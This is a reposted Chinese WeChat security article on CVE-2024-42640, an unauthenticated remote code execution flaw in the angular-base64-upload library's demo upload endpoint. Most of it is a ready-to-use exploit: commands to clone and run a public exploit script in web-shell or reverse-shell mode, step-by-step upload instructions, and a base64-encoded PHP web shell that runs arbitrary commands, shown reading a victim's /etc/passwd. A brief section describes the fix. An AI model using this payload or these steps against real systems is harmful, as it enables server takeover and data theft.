由 Adones 创建的 angular-base64-upload 库 Pitogo 是一种工具,旨在简化上传 base64 编码文件的过程 Angular 应用程序。虽然它为开发人员提供了有价值的功能,但版本 <= v0.1.20 包含可能导致未经身份验证的远程代码的关键安全漏洞 执行 (RCE)。
利用此漏洞,攻击者可以将任意文件内容上传到服务器,随后可以通过 angular-base64-upload/demo/uploads 端点访问这些内容。这会导致执行以前上传的内容,并最终使攻击者能够在服务器上实现代码执行。angular-base64-upload/demo/server.php
使用方法
git clone https://github.com/rvizx/CVE-2024-42640
cd CVE-2024-42640
python3 exploit.py <target> # this will use a php command shell (web-shell)
python3 exploit.py <target> --rev # this will use a php reverse shell
修复方式
为了修复安全问题,
-
将 angular-base64-upload 库更新到 v0.1.21 或更高版本。
-
从 dependency 安装目录下的 angular-base64-upload 文件夹中删除 demo 文件夹。
以下脚本用于使用上述第二个选项修复安全问题fix.sh
利用方式
1. 向 {node_modules/bower_components}/angular-base64-upload/demo/server.php 端点发送 curl 请求,查看 而是服务器未使用 HTTP 响应代码 404 进行响应。你可能会得到 500 分。这可以 用于标识目标是否为 无论是否脆弱。您也可以使用 angular-base64-upload/demo/index.html 来测试这一点(只需 就像在 PoC 漏洞中一样)。
2. 使用 PHP 命令 shell 发送另一个 curl POST 请求(这将在下一个 步骤) 或 php-reverse-shell 连接到服务器。Write 或 下载有效负载,然后将有效负载的内容编码为 Base64。
例:
3. 将负载转换为 Base64 格式
PD9waHAKICAgIGlmKGlzc2V0KCRfR0VUWydjbWQnXSkpCiAgICB7CiAgICAgICAgc3lzdGVtKCRfR0VUWydjbWQnXSAuICcgMj4mMScpOwogICAgfQo/Pg==
4. 发送以下请求,文件名为 shell.php,内容为 base64 参数值。
5. 现在,访问上传到服务器文件夹的shell.php。
6. 这将在服务器上执行 cat /etc/passwd 命令,其输出将显示在 HTTP 响应正文(受害者的 /etc/passwd 文件的内容)。
原文始发于微信公众号(合规渗透):CVE-2024-42640 CVSS评分10.0 - Angular 未经身份验证的远程代码执行 附EXP
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论